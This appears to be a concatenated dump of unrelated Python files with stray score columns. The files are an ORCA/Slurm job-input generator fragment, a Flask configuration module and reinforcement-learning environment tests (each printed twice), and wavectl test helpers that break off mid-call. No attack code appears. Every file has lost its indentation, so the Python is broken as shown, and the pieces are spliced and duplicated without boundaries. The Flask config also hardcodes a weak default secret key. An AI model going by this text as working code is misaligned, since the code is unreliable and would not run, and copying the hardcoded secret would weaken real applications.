Whether or not to write the file. Defaults to ``True``.
write_dir : :obj:`str`, optional
Directory to write the input file. Defaults to ``'.'``
input_extension: :obj:`str`, optional
File extension for ORCA input. Defaults to ``'inp'``.
"""
self.calc_type = calc_type
self.charge = charge
self.multiplicity = multiplicity
self.coords = coords
self.theory = theory
self.basis_set = basis_set
if calc_type.lower() in ['sp', 'engrad', 'opt', 'freq', 'numfreq']:
self.calc_type = calc_type
else:
raise ValueError(f'{calc_type} is unsupported.')
self.options = options
self.control_blocks = control_blocks
self.cores = cores
templateOrca = Template(self.template_input)
self.input_check()
rendered = templateOrca.render(
job_name=self.job_name, command_signal=self.command_signal,
control_signal=self.control_signal, theory=self.theory,
basis_set=self.basis_set, calc_type=self.calc_type,
options=self.options, cores=str(self.cores), charge=str(self.charge),
multiplicity=str(self.multiplicity),
control_blocks=self.control_blocks, coords=self.coords
)
filename = str(self.input_name).replace(' ', '-') \
+ '.' + self.input_extension
if write:
if write_dir[-1] != '/':
write_dir += '/'
with open(write_dir + filename, 'w') as inputFile:
inputFile.write(rendered)
return filename, rendered
def submit(
self,
cluster,
nodes,
cores,
days,
hours,
submit_script,
write=True,
write_dir='.'
):
"""Prepare submission script.
Parameters
----------
cluster : :obj:`str`
Name of cluster for calculations. For example, ``'smp'``.
nodes : :obj:`int`
Number of requested nodes.
cores : :obj:`int`
Number of requested cores per node.
days : :obj:`int`
Requested run time days.
hours : :obj:`int`
Requested run time hours.
write : :obj:`bool`, optional
Whether or not to write the file. Defaults to ``True``.
write_dir : :obj:`str`, optional
Directory to write the input file. Defaults to ``'.'``
Returns
-------
:obj:`str`
File name (with extension) of the submission script.
:obj:`str`
Rendered submission script.
"""
# Run options
self.cluster = cluster
self.nodes = nodes
self.cores = cores
self.days = days
self.hours = hours
self.submit_script = submit_script
templateOrcaSubmit = Template(self.template_submit)
rendered = templateOrcaSubmit.render(
job_name = self.job_name, output_name = self.output_name,
cluster = self.cluster, nodes = self.nodes,
cores = self.cores, days = str(self.days),
hours = str(self.hours), input_name = self.input_name,
submit_script=self.submit_script
)
file_name = 'submit-orca.420.slurm'
if write:
if write_dir[-1] != '/':
write_dir += '/'
with open(write_dir + file_name, 'w') as inputFile:
inputFile.write(rendered)
return file_name, rendered
def input_check(self):
"""Performs checks on input specifications.
"""
# ORCA requires numerical frequencies if using frozencore and MP2.
if ' frozencore' in self.options.lower() and self.calc_type == 'freq' \
and 'mp2' in self.theory.lower():
self.calc_type = 'NumFreq'
def slurm_engrad_calculation(
package,
z,
R,
job_name,
input_name,
output_name,
theory='MP2',
basis_set='def2-TZVP',
charge=0,
multiplicity=1,
cluster='smp',
nodes=1,
cores=12,
days=0,
hours=24,
calc_dir='.',
options='',
control_blocks='',
submit_script='',
write=True,
submit=False
):
"""Generates a quantum chemistry Slurm job for multiple energy+gradient
calculations of different configurations of the same system.
Parameters
----------
package : :obj:`str`
Specifies the quantum chemistry program. ``'ORCA'`` is
currently the only package directly supported.
z : :obj:`numpy.ndarray`
A ``(n,)`` or ``(m, n)`` shape array of type :obj:`numpy.int32`
containing atomic numbers of atoms in the order as they
appear for every ``m`` structure.
R : :obj:`numpy.ndarray`
A :obj:`numpy.ndarray` with shape of ``(n, 3)`` or ``(m, n, 3)`` where
``m`` is the number of structures and ``n`` is the number of atoms.
job_name : :obj:`str`
A unique name for the Slurm job.
input_name : :obj:`str`
Desired file name of the input file.
output_name : :obj:`str`
Desired name of the output file specified by Slurm.
theory : :obj:`str`, optional
Keword that specifies the level of theory used for energy+gradient
calculations (specific to the ``package``). For example, ``'MP2'``,
``'BP86'``, ``'B3LYP'``, ``'CCSD'``, etc. Defaults to ``'MP2'``.
basis_set : :obj:`str`, optional
Keyword that specifies the desired basis set (specific to the
``package``). For example, ``'def2-SVP''`, ``'def2-TZVP'``,
``'cc-pVQZ'``, etc. Defaults to ``'def2-TZVP'``.
charge : :obj:`int`, optional
System charge. Defaults to ``0``.
multiplicity : :obj:`int`, optional
System multiplicity. Defaults to ``1``.
cluster : :obj:`str`, optional
Name of the Slurm computing cluster for calculations.
Defaults to ``'smp'``.
nodes : :obj:`int`, optional
Number of requested nodes. Defaults to ``1``.
cores : :obj:`int`, optional
Number of processing cores for the calculation. Defaults to ``12``.
days : :obj:`int`, optional
Requested run time days. Defaults to ``0``.
hours : :obj:`int`, optional
Requested run time hours. Defaults to ``24``.
calc_dir : :obj:`str`, optional
Path to write calculation. Defaults to current directory (``'.'``).
options : :obj:`str`, optional
All option keywords for the energy+gradient calculation (e.g., SCF
convergence criteria, algorithms, etc.) specific for the package.
For example, ``'TightSCF FrozenCore'`` for ORCA 4.2.0. Defaults to `''`.
control_blocks : :obj:`str`, optional
Options that will be directly added to the input file (stuff that does
not have a keyword). For example, ``'%maxcore 8000'``.
Defaults to ``''``.
submit_script : :obj:`str`, optional
The Slurm submission script content excluding . Defaults to
``pitt_crc_orca_420_submit``.
write : :obj:`bool`, optional
Whether or not to write the calculation files. Defaults to ``True``.
submit : :obj:`bool`, optional
Controls whether the calculation is submitted using the ``sbatch``
command. Defaults to ``False``.
Returns
-------
:obj:`str`
The SLURM submission script.
:obj:`str`
The input file.
"""
if calc_dir[-1] != '/':
calc_dir += '/'
os.makedirs(calc_dir, exist_ok=True)
if z.ndim == 1:
z = np.array([z])
if R.ndim == 2:
R = np.array([R])
# Prepares calculation
if package.lower() == 'orca':
engrad = ORCA(
job_name,
input_name,
output_name
)
templates = CalcTemplate('orca')
engrad_keyword = 'EnGrad'
# Initializes input and Slurm files.
input_file_string = ''
if submit_script == '':
submit_script = pitt_crc_orca_420_submit
slurm_file_name, slurm_file = engrad.submit(
cluster,
nodes,
cores,
days,
hours,
submit_script,
write=write,
write_dir=calc_dir
)
# Loops through each structure in R (i.e., step) and appends the input.
if z.shape[0] == 1:
step_z = z[0]
for step_index in range(0, R.shape[0]):
if z.shape[0] != 1:
step_z = z[step_index]
step_R = R[step_index]
if step_index != 0:
engrad.template_input = templates.add_job + templates.input
step_R_string = utils.string_xyz_arrays(step_z, step_R)
_, calc_string = engrad.input(
engrad_keyword,
step_R_string,
theory,
basis_set,
charge,
multiplicity,
cores,
options=options,
control_blocks=control_blocks,
write=False,
write_dir=calc_dir
)
if input_file_string == '':
input_file_string = calc_string
else:
input_file_string += calc_string
if write:
with open(calc_dir + input_name + '.' + engrad.input_extension, 'w') as f:
f.write(input_file_string)
if submit:
bash_command = 'sbatch ' + slurm_file_name
submit_process = subprocess.Popen(
bash_command.split(),
stdout=subprocess.PIPE
)
_, _ = submit_process.communicate()
return slurm_file, input_file_string
pitt_crc_orca_420_submit = (
"cd $SBATCH_O_WORKDIR\n"
"module purge\n"
"module load openmpi/3.1.4\n"
"module load orca/4.2.0\n"
"\n"
"cp $SLURM_SUBMIT_DIR/*.inp $SLURM_SCRATCH\n"
"\n"
"export LD_LIBRARY_PATH=/usr/lib64/openmpi/lib:$LD_LIBRARY_PATH\n"
"# Suppresses OpenFabrics (openib) absence nonfatal error.\n"
"export OMPI_MCA_btl_base_warn_component_unused=0\n"
"# Makes all error messages print.\n"
"export OMPI_MCA_orte_base_help_aggregate=0\n"
"\n"
"cd $SLURM_SCRATCH\n"
"$(which orca) *.inp\n"
) | 0.728362 | 0.144903 |
import json
import logging
import os
logger = logging.getLogger(__name__)
class ConfigError(ValueError):
"""Specific error for configuration issues."""
pass
class Config(object):
"""Configuration defaults."""
DEBUG = False
SECRET_KEY = 'youwillneverguessme'
SERVER_BASE = 'localhost'
SERVER_PORT = '5000'
SQLALCHEMY_DATABASE_URI = 'postgresql://postgres@localhost/flask_test'
SQLALCHEMY_TRACK_MODIFICATIONS = False
TESTING = False
@classmethod
def for_current_env(cls, env_var='FLASK_CONFIG', default='prod'):
"""Generate configuration for the current environment.
Notes:
There is a special case for the documentation, which is built
and hosted on `ReadTheDocs`_.
Arguments:
env_var (:py:class:`str`, optional): The environment variable
to get the current Flask environment from (defaults to
``'FLASK_CONFIG'``).
default (:py:class:`str`, optional): The Flask environment to
default to if ``env_var`` is not set (defaults to
``'prod'``).
Returns:
:py:class:`type`: A new :py:class:`Config` subclass with the
appropriate attributes.
Raises:
:py:class:`ValueError`: If the Flask environment is not one
of ``'dev'``, ``'prod'`` or ``'test'``.
.. _ReadTheDocs:
https://readthedocs.org/
"""
if os.getenv('READTHEDOCS'):
config = type('RTFD', (cls,), dict(SQLALCHEMY_DATABASE_URI=None))
return config
env = os.getenv(env_var, default)
if env == 'dev':
config_vars = dict(
DEBUG=True,
)
elif env == 'prod':
config_vars = dict(
SQLALCHEMY_DATABASE_URI=parse_vcap(
'POSTGRES_SERVICE',
(0, 'credentials', 'uri'),
),
SECRET_KEY=require('FLASK_SECRET_KEY'),
SERVER_BASE='0.0.0.0',
SERVER_PORT=require('PORT'),
)
elif env == 'test':
config_vars = dict(
PROJECT_ID=require('ACCESSIBLE_PROJECT'),
VALID_TOKEN=require('VALID_API_TOKEN'),
TESTING=True,
)
else:
raise ValueError('unrecognised environment: {!r}'.format(env))
config_vars['environment'] = env
logger.info('configuring %r environment', env)
return type(env, (cls,), config_vars)
def parse_vcap(service, route):
"""Extract service details from VCAP_SERVICES.
Arguments:
service (:py:class:`str`): The environment variable holding the
name of the service.
route (:py:class:`tuple`): The path to the value (list indices
and dictionary keys).
Returns:
:py:class:`str`: The required configuration string.
"""
data = json.loads(require('VCAP_SERVICES'))
config = data.get(require(service))
for key in route:
config = config[key]
return config
def require(name, env='prod'):
"""Require a specific environment variable to be present.
Arguments:
name (:py:class:`str`): The name of the environment variable.
env (:py:class:`str`, optional): The configuration environment in
which that variable is required (defaults to ``'prod'``).
Returns:
:py:class:`str`: The value of the environment variable.
Raises:
:py:class:`ConfigError`: If the variable is not present.
"""
value = os.getenv(name)
if value is None:
raise ConfigError('{} is required in {} environments'.format(name, env))
return value | flask_forecaster/config.py |
import json
import logging
import os
logger = logging.getLogger(__name__)
class ConfigError(ValueError):
"""Specific error for configuration issues."""
pass
class Config(object):
"""Configuration defaults."""
DEBUG = False
SECRET_KEY = 'youwillneverguessme'
SERVER_BASE = 'localhost'
SERVER_PORT = '5000'
SQLALCHEMY_DATABASE_URI = 'postgresql://postgres@localhost/flask_test'
SQLALCHEMY_TRACK_MODIFICATIONS = False
TESTING = False
@classmethod
def for_current_env(cls, env_var='FLASK_CONFIG', default='prod'):
"""Generate configuration for the current environment.
Notes:
There is a special case for the documentation, which is built
and hosted on `ReadTheDocs`_.
Arguments:
env_var (:py:class:`str`, optional): The environment variable
to get the current Flask environment from (defaults to
``'FLASK_CONFIG'``).
default (:py:class:`str`, optional): The Flask environment to
default to if ``env_var`` is not set (defaults to
``'prod'``).
Returns:
:py:class:`type`: A new :py:class:`Config` subclass with the
appropriate attributes.
Raises:
:py:class:`ValueError`: If the Flask environment is not one
of ``'dev'``, ``'prod'`` or ``'test'``.
.. _ReadTheDocs:
https://readthedocs.org/
"""
if os.getenv('READTHEDOCS'):
config = type('RTFD', (cls,), dict(SQLALCHEMY_DATABASE_URI=None))
return config
env = os.getenv(env_var, default)
if env == 'dev':
config_vars = dict(
DEBUG=True,
)
elif env == 'prod':
config_vars = dict(
SQLALCHEMY_DATABASE_URI=parse_vcap(
'POSTGRES_SERVICE',
(0, 'credentials', 'uri'),
),
SECRET_KEY=require('FLASK_SECRET_KEY'),
SERVER_BASE='0.0.0.0',
SERVER_PORT=require('PORT'),
)
elif env == 'test':
config_vars = dict(
PROJECT_ID=require('ACCESSIBLE_PROJECT'),
VALID_TOKEN=require('VALID_API_TOKEN'),
TESTING=True,
)
else:
raise ValueError('unrecognised environment: {!r}'.format(env))
config_vars['environment'] = env
logger.info('configuring %r environment', env)
return type(env, (cls,), config_vars)
def parse_vcap(service, route):
"""Extract service details from VCAP_SERVICES.
Arguments:
service (:py:class:`str`): The environment variable holding the
name of the service.
route (:py:class:`tuple`): The path to the value (list indices
and dictionary keys).
Returns:
:py:class:`str`: The required configuration string.
"""
data = json.loads(require('VCAP_SERVICES'))
config = data.get(require(service))
for key in route:
config = config[key]
return config
def require(name, env='prod'):
"""Require a specific environment variable to be present.
Arguments:
name (:py:class:`str`): The name of the environment variable.
env (:py:class:`str`, optional): The configuration environment in
which that variable is required (defaults to ``'prod'``).
Returns:
:py:class:`str`: The value of the environment variable.
Raises:
:py:class:`ConfigError`: If the variable is not present.
"""
value = os.getenv(name)
if value is None:
raise ConfigError('{} is required in {} environments'.format(name, env))
return value | 0.799011 | 0.196441 |
import unittest
import gym_buster.envs.buster_env as env
class EnvTest(unittest.TestCase):
def test_run_1_game_random_action(self):
"""
Run one game from the env from random sampled action
"""
buster_number = 3 # per team
ghost_number = 15
max_episodes = 1
max_steps = 250
rendering = True
environment = env.BusterEnv(buster_number, ghost_number, max_episodes, max_steps, rendering)
environment.seed(130)
episodes = 0
while episodes < environment.episodes:
state = environment.reset()
self.assertTrue(environment.episode_step == 0)
done = False
steps = 0
while not done:
action = environment.action_space.sample()
next_state, reward, done, _ = environment.step(action)
steps += 1
episodes += 1
self.assertTrue(environment.game.score_team_0 + environment.game.score_team_1 <= ghost_number)
self.assertTrue(episodes == 1)
self.assertTrue(environment.episodes == 1)
self.assertTrue(environment.max_episodes_steps == 250)
def test_run_5_games_random_action(self):
"""
Run 5 games from same environment with random sampled action
"""
environment = env.BusterEnv()
episodes = 0
while episodes < 5:
state = environment.reset()
environment.render()
self.assertTrue(environment.current_step == 0)
total_reward = 0
steps = 0
done = False
while not done:
action = environment.action_space.sample()
next_state, reward, done, _ = environment.step(action)
total_reward += reward
print("Reward : {}, Total Reward : {}".format(reward, total_reward))
print("Game over : {}".format(done))
environment.render()
steps += 1
episodes += 1
environment.close()
self.assertTrue(environment.score_team0 + environment.score_team1 <= environment.ghost_number)
self.assertTrue(episodes == 5)
self.assertTrue(environment.max_steps == 250) | gym_buster/envs/game_classes/test/env_tests.py | import unittest
import gym_buster.envs.buster_env as env
class EnvTest(unittest.TestCase):
def test_run_1_game_random_action(self):
"""
Run one game from the env from random sampled action
"""
buster_number = 3 # per team
ghost_number = 15
max_episodes = 1
max_steps = 250
rendering = True
environment = env.BusterEnv(buster_number, ghost_number, max_episodes, max_steps, rendering)
environment.seed(130)
episodes = 0
while episodes < environment.episodes:
state = environment.reset()
self.assertTrue(environment.episode_step == 0)
done = False
steps = 0
while not done:
action = environment.action_space.sample()
next_state, reward, done, _ = environment.step(action)
steps += 1
episodes += 1
self.assertTrue(environment.game.score_team_0 + environment.game.score_team_1 <= ghost_number)
self.assertTrue(episodes == 1)
self.assertTrue(environment.episodes == 1)
self.assertTrue(environment.max_episodes_steps == 250)
def test_run_5_games_random_action(self):
"""
Run 5 games from same environment with random sampled action
"""
environment = env.BusterEnv()
episodes = 0
while episodes < 5:
state = environment.reset()
environment.render()
self.assertTrue(environment.current_step == 0)
total_reward = 0
steps = 0
done = False
while not done:
action = environment.action_space.sample()
next_state, reward, done, _ = environment.step(action)
total_reward += reward
print("Reward : {}, Total Reward : {}".format(reward, total_reward))
print("Game over : {}".format(done))
environment.render()
steps += 1
episodes += 1
environment.close()
self.assertTrue(environment.score_team0 + environment.score_team1 <= environment.ghost_number)
self.assertTrue(episodes == 5)
self.assertTrue(environment.max_steps == 250) | 0.71423 | 0.687253 |
# Common utils and data for test files
from __future__ import absolute_import
from __future__ import print_function
try:
# Python 2
from cStringIO import StringIO
except ImportError:
from io import StringIO
import __main__
import sys
import os
import re
import datetime
import time
import unittest
import socket
import socketserver # requires future module for python2
import http.server # requires future module for python2
import threading
import json
import tempfile
import shutil
import collections
import copy
import six
import logging
import random
import traceback
import warnings
if six.PY3:
import unittest.mock as mock
else:
import mock
import wavefront_api_client
import wavectl
from wavectl.BaseWavefrontCommand import BaseWavefrontCommand
from wavectl.Mutator import Mutator
import TestAlerts
import git
import TestDashboards
from TestAlerts import Alert
from TestDashboards import Dashboard
wavefrontHostName = "https://try.wavefront.com"
wavefrontApiToken = "<PASSWORD>" # Does not matter just some string.
def initLog():
"""Initialize the logging.
Expected to be called from tests. Test function would like to log something"""
wavectl.Wavectl.initLog(logging.DEBUG)
def checkListEqual(l1, l2):
""" If we cannot call unittest.TestCase.assertListEqual for some reason,
we can use this function to compare lists instead. We may not be getting a nice
summarized error message but this is better than nothing"""
return len(l1) == len(l2) and sorted(l1) == sorted(l2)
def resourceTypeFromString(rsrcType):
"""Get the string representation of a resource an return the python type
instance for that class"""
rv = wavectl.ResourceFactory.ResourceFactory.resourceTypeFromString(
rsrcType)
return rv
class EnvModifier(object):
""" A context manager class used to modify the enviornment."""
def __init__(self, envVar, val):
""" Save the environment variable to change and its desired value """
self.envVar = envVar
self.var = val
self.oldVar = None
def __enter__(self):
""" Modify the given envVar to the new value"""
self.oldVar = os.environ.get(self.envVar)
if self.var is not None:
os.environ[self.envVar] = self.var
else:
try:
del os.environ[self.envVar]
except KeyError:
pass
def __exit__(self, type, value, traceback):
""" Restore the env var to the old value"""
if self.oldVar is None:
""" Env var did not exist before. Delete it again"""
try:
del os.environ[self.envVar]
except KeyError:
pass
else:
os.environ[self.envVar] = self.oldVar
return False
class TempDir(object):
""" A class that creates a temp directory at context creation time and
removes the temp dir at exit of the context."""
def __init__(self, retain=False):
# For debuggability, if retain is True, do not delete the temp dir
self.retain = retain
def __enter__(self):
self.d = tempfile.mkdtemp()
logging.debug("Using temporary directory: {}".format(self.d))
return self
def dir(self):
return self.d
def __exit__(self, type, value, traceback):
if self.retain:
msg = "TempDir: {0}".format(self.d)
logging.debug(msg)
print(msg)
else:
shutil.rmtree(self.d, ignore_errors=True)
return False
class DummyContextManager(object):
""" A context manager that does not do anything. Used to implement
conditional context managers like here:
https://stackoverflow.com/a/27806978/5771861"""
def __enter__(self):
pass
def __exit__(self, type, value, traceback):
return False
class CwdChanger(object):
""" A class that changes to the given directory at context manager creation
time. At the context exit it restores the original working dir"""
def __init__(self, desiredDir):
self.desiredDir = desiredDir
def __enter__(self):
self.originalDir = os.getcwd()
os.chdir(self.desiredDir)
def __exit__(self, type, value, traceback):
os.chdir(self.originalDir)
return False
class StdoutCapture(object):
""" A class that can be used in with statements to overwrite the std out
in its context.
This object can be used together with "with" statements For example:
with util.StdoutCapture() as capturedOut:
print "Capture this line"
assert capturedOut.str().strip()=="Capture this line".strip()
"""
def __init__(self, ignore=False):
# Ignore make this capture a no-op. For easy debugging.
self.ignore = ignore
self.strIo = StringIO()
def __enter__(self):
""" Overwrite the sys.strout with an internally saved StringIO object.
This way we can capture the print statement of the function under
test and verity them later on. """
if not self.ignore:
self.origStdout = sys.stdout
sys.stdout = self.strIo
return self
def __exit__(self, type, value, traceback):
"""Restore the sys.stdout to its original value"""
if not self.ignore:
sys.stdout = self.origStdout
return False
def str(self):
"""Return the captures sys.out in a string"""
return self.strIo.getvalue()
class StdinRedirect(object):
"""A class that can redirect the given StringIO to the stdin of the program.
This type is expected to be used in context managers. A already populated
stream (e.g: StringIo) type should be passed at construction time"""
def __init__(self, newStdin):
newStdin.seek(0)
self.newStdin = newStdin
def __enter__(self):
self.origStdin = sys.stdin
sys.stdin = self.newStdin
return self
def __exit__(self, type, value, traceback):
sys.stdin = self.origStdin
return False
class SummaryLineProcessor(object):
"""A class that contains functions to process summary lines. Used by
craete and show tests"""
@staticmethod
def expectedAlertSummaryLineRegex(a, ignoreStatus=False):
""" Given an alert, return a regular expression that should match that
alert's summary line
if ignoreStatus is passed, the status field value is made optional
"""
# During write created field changes. It is a timestamp. So have a
# numerical regex instead.
rv = r"\d+\s*" \
+ re.escape(a["name"]) + r"\s*(NO_DATA)?\s*" \
+ (r"(" if ignoreStatus else r"") \
+ r"(NO_DATA)?\s*".join(a["status"]) + r"\s*(NO_DATA)?\s*" \
+ (r")?" if ignoreStatus else "") \
+ re.escape(a["severity"])
return rv
@staticmethod
def expectedDashboardSummaryLineRegex(d):
""" Given a dashboard, return a regular expression that should match that
dashboard's summary line"""
rv = re.escape(d.get("url", "")) + r"\s*" \
+ re.escape(d.get("name", "")) + r"\s*" \
+ re.escape(d.get("description", ""))
return rv
@staticmethod
def compareExpectedActualLineByLine(test, expectedOutRegex, actualOut):
""" The expectedOutRegex and the actualOut are given in a list form
where each entry in actualOut is a line. The correponding entry (same
index) in expectedOutRegex is a reqular expression for the same line to
match. This function compares checks that every line matches its
regular expression."""
test.assertEqual(len(expectedOutRegex), len(actualOut))
regexes = [re.compile(e) for e in expectedOutRegex]
for a in actualOut:
# Each line in actualOut should match with at least one regex in
# expectedOut.
# TODO: We could be more strict about the matching. We could purge
# the regular expression once a line has been matched against it.
compRes = [regex.match(a) for regex in regexes]
if not any(compRes):
logging.debug(
"Rsrc line did not match any regular expressions:\n" +
"Rsrc:\n{}\nRegularExpressions:\n{}".format(
str(a),
"\n".join(expectedOutRegex)))
test.assertTrue(not "Could not find summary line in regexes")
def mockRsrcType(rsrcType, rsrcs, deletedRsrcs):
"""Given a rsrcType, mock its getFunction.
With this we can mock what the API server would return back to the
wavectl client. For example the Alert.getFunction returns the
wavefront_api_client.api_client.search_alert_entities function
that reaches out to wavefront server. With mocking the Alert.getFunction,
we return our custom function that returns the rsrcs without reaching out
to the api server"""
def wavefrontSearchHttpResponse(items):
"""Return an HttpResponse object that looks like what is returned by
searchApi.search_alert/dashboard_entities functions"""
class MockHttpResponse(object):
def read(*args, **kwargs):
data = {
"response": {
"moreItems": False,
"items": sorted(items, key=lambda x: x["id"]),
}
}
return json.dumps(data)
return MockHttpResponse()
def mockSearchRsrcEntities(**kwargs):
body = kwargs["body"]
ql = body["query"]
tags = [q["value"] for q in ql]
filteredRsrcs = [r for r in rsrcs if all(
[(t in r["tags"]["customerTags"]) for t in tags])]
return wavefrontSearchHttpResponse(filteredRsrcs)
def mockSearchRsrcDeletedEntities(**kwargs):
return wavefrontSearchHttpResponse(deletedRsrcs)
def wavefrontSingletonHttpResponse(rsrc):
"""Return an HttpResponse object that looks like what is returned by
alert/dashabordApi.create/update_alert/dashboard functions"""
class MockHttpResponse(object):
def read(*args, **kwargs):
data = {
"response": rsrc
}
return json.dumps(data)
return MockHttpResponse()
def mockSingleton(*args, **kwargs):
body = kwargs["body"]
return wavefrontSingletonHttpResponse(body)
m = mock.MagicMock()
m.return_value = mockSearchRsrcEntities
rsrcType.getFunction = m
m = mock.MagicMock()
m.return_value = mockSearchRsrcDeletedEntities
rsrcType.getDeletedFunction = m
m = mock.MagicMock()
m.return_value = mockSingleton
rsrcType.createFunction = m
rsrcType.updateFunction = m
class Test(unittest.TestCase):
@staticmethod
def mockAllRsrcTypes():
logging.debug("Starting Test class")
testAlerts = TestAlerts.Alert.getTestAlerts()
testDashboards = TestDashboards.Dashboard.getTestDashboards()
mockRsrcType(wavectl.Alert.Alert, testAlerts, [])
mockRsrcType(wavectl.Dashboard.Dashboard, testDashboards, [])
@staticmethod
def _setUp():
# In python3, the urllib3 library may raise these socket resource
# warnings. They should be benign and an artifact of a performance
# optimization of reusing the sockets.
# https://github.com/mementoweb/py-memento-client/issues/6#issuecomment-196381413
if six.PY3:
warnings.filterwarnings(
"ignore",
message="unclosed <ssl.SSLSocket",
category=ResourceWarning)
def setUp(self):
"""A function that is called before every test function execution"""
Test._setUp()
logging.debug("Starting test {}".format(self._testMethodName))
Test.mockAllRsrcTypes()
def tearDown(self):
logging.debug("Finishing test {}".format(self._testMethodName))
def getCompareKeys(self, rsrcType):
"""Return the keys used to compare two different resource instances
of the same time. For example compare two alert states. Various individual
fields of resources are not always stable. Some of them are arbitrary or
sometimes randomly change. For a stable comparison operation, we only
select a subset of the keys."""
# TODO: This comparison of subset of keys logic could move to a __eq__
# function in the Alert Dashboard time itself.
if rsrcType == "alert":
compareKeys = [
"additionalInformation",
"condition",
"displayExpression",
"minutes",
"name",
"severity",
]
elif rsrcType == "dashboard":
compareKeys = ["name", "parameters", "description"]
pass
else:
assert not "Unexpected rsrcType"
return compareKeys
def compareRsrcs(self, r1, r2, compareKeys):
""" Return that the compareKeys in r1 and r2 are equal to each other"""
compK = set(compareKeys)
visitedKeys = 0
for k1, v1 in r1.items():
if k1 in compK:
visitedKeys = visitedKeys + 1
v2 = r2.get(k1, "")
if v1 != v2:
return False
# If a key was missing in both the r1 and r2, they are considered equal too.
# Look at keys that are missing in both and consider them as visited
for k in compK:
foundIn1 = r1.get(k)
foundIn2 = r2.get(k)
if foundIn1 is None and foundIn2 is None:
visitedKeys = visitedKeys + 1
# If we are returning true make sure that we have really compared all
# keys.
assert(visitedKeys == len(compK)
and "Not all compareKeys were considered")
return True
class TestPullMutate(Test):
""" Common functions used in Pull and Push test suites"""
def repoInit(self, d):
"""Initialize a git repo in the given dir and return its reference"""
r = git.Repo.init(d)
r.git.config("user.email", "<EMAIL>")
return r
def addReadmeFileToRepo(self, r):
""" Adds a README.md file to the given repo"""
d = r.working_tree_dir
n = "README.md"
p = os.path.join(d, n)
with open(p, "w") as f:
f.write("This is a repo to manage wavefront resources.")
r.index.add([p])
r.index.commit("Initial commit with the README.md file",skip_hooks=True)
def addNewFileToRepo(self, r, n, subdir=""):
"""Adds a new file named "n" to the index in the repo. By default the
file is localted at the root dir. If the relative subdir is given,
the file is placed in that subdir. Does not commit the addition"""
d = r.working_tree_dir
p = os.path.join(d, subdir, n)
# Create the file
with open(p, "w") as f:
pass
r.index.add([p])
def existingRepoDirNotGit(self, cmd, rsrcType, rsrcs):
""" The repoDir is an existing directory however it is not a source
controlled directory. The pull resource command should raise an exception"""
with TempDir() as td:
d = td.dir()
args = [cmd, d, "--inGit", rsrcType]
wc = wavectl.Wavectl(
designForTestArgv=args,
designForTestRsrcs=rsrcs)
self.assertRaises(
git.exc.InvalidGitRepositoryError,
wc.runCmd)
def repoIndexIsDirtyInUsedDir(self, cmd, rsrcType, rsrcs, error):
"""In this testcase, the repo has staged changes that have not been
committed yet in the same dir as the pull/push dir. The command should
not allow this to happen. We expect the initial branch to be without any
outstanding modifications"""
with TempDir() as td:
d = td.dir()
r = self.repoInit(d)
self.addReadmeFileToRepo(r)
self.addNewFileToRepo(r, "newFile")
args = [cmd, d, "--inGit", rsrcType]
wc = wavectl.Wavectl(
designForTestArgv=args,
designForTestRsrcs=rsrcs)
self.assertRaisesRegexp(
error,
(r"The path at .+ is dirty. "
r"Please commit your outstanding changes .*"),
wc.runCmd)
def repoWorkingTreeIsDirtyInUsedDir(self, cmd, rsrcType, rsrcs, error):
""" Git repo has local modifications to tracked files that have not
been staged yet in the same dir as the pull/push dir. The working tree is
dirty. The command should not allow a pull or a push to execute in this
state"""
with TempDir() as td:
d = td.dir()
r = self.repoInit(d)
self.addReadmeFileToRepo(r)
n = "newFile"
self.addNewFileToRepo(r, n)
r.index.commit("Initial commit of {} file".format(n),skip_hooks=True)
# After committing the following changes will be local modification that
# are not staged yet.
fn = os.path.join(d, n)
with open(fn, "r+") as f:
f.write("Some new modification")
args = [cmd, d, "--inGit", rsrcType]
wc = wavectl.Wavectl(
designForTestArgv=args,
designForTestRsrcs=rsrcs)
self.assertRaisesRegexp(
error,
(r"The path at .+ is dirty. "
r"Please commit your outstanding changes .*"),
wc.runCmd)
def checkRsrcFilesInDir(
self,
rsrcType,
rsrcs,
dir,
additionalFileNames=[]):
"""Check that the files for the given resources exist in the given dir"""
# Clean up the given dir.
d = os.path.realpath(dir)
rt = resourceTypeFromString(rsrcType)
expFiles = sorted(additionalFileNames +
[str(r[rt._uniqueKey]) +
rt.fileExtension() for r in rsrcs])
# Get the basenames of the files in repo and discard directories
actFiles = sorted([os.path.basename(f) for f in os.listdir(d)
if os.path.isfile(os.path.join(d, f))])
self.assertListEqual(expFiles, actFiles)
def checkFilesInDir(self, rsrcType, rsrcs, dir, additionalFileNames=[],
ignoredKeys=[]):
"""Compares the resources in the given rsrcs list with the resource files
in the given directory.
Read the json from the files in the dir, compare their state with the
given expected rsrcs. Also ensure that the given addiitonalFileNames
also exist in the dir.
If ignored keys are given, the comparison of the resource with the file
contents ignores those keys. """
d = os.path.realpath(dir)
rt = resourceTypeFromString(rsrcType)
# contains the full paths of files
actFilePaths = sorted(
[p for p in [os.path.join(d, f) for f in os.listdir(d)]
if os.path.isfile(p)])
actRsrcs = []
actAdditionalFilesNames = []
for p in actFilePaths:
if p.endswith(rt.fileExtension()):
# This is a resource file. Alerts or Dashboards
with open(p) as f:
actR = json.load(f)
actRsrcs.append(actR)
else:
# This is an extra file.
actAdditionalFilesNames.append(os.path.basename(p))
if len(actRsrcs) != len(rsrcs):
logging.debug(
("actRsrcs ({}) and rsrc ({}) are not the same length\n"
"actRsrcs:\n{}\nrsrcs:\n{}").format(
len(actRsrcs), len(rsrcs), actRsrcs, rsrcs))
self.assertTrue(not "actRsrc and rsrcs length mismatch")
compareKeys = self.getCompareKeys(rsrcType)
# TODO: We could have sorted these two resource lists by "name" and then
# did a simpler comparison.
for r1 in rsrcs:
foundMatchingRsrc = any(
[self.compareRsrcs(r1, r2, compareKeys) for r2 in actRsrcs])
if not foundMatchingRsrc:
logging.info(
("The could not find the equivalent of resource: \n"
"{}\n").format(
r1, r2))
self.assertTrue(foundMatchingRsrc)
self.assertListEqual(sorted(actAdditionalFilesNames),
sorted(additionalFileNames))
def executePull(
self,
rsrcType,
dir,
repo,
expectedRsrcsInDir,
pullAdditionalParams=[],
rsrcAdditionalParams=[],
additionalFileNames=[]):
""" Execute a pull operation while some api functions are mocked."""
logging.info("Starting executePull")
args = ["pull",
dir,
"--wavefrontHost", wavefrontHostName,
"--apiToken", wavefrontApiToken] \
+ pullAdditionalParams \
+ [rsrcType] \
+ rsrcAdditionalParams
wc = wavectl.Wavectl(designForTestArgv=args)
wc.runCmd()
try:
git.Repo(dir)
except git.exc.InvalidGitRepositoryError as e:
readmeFile = []
else:
readmeFile = ["README.md"]
self.checkFilesInDir(
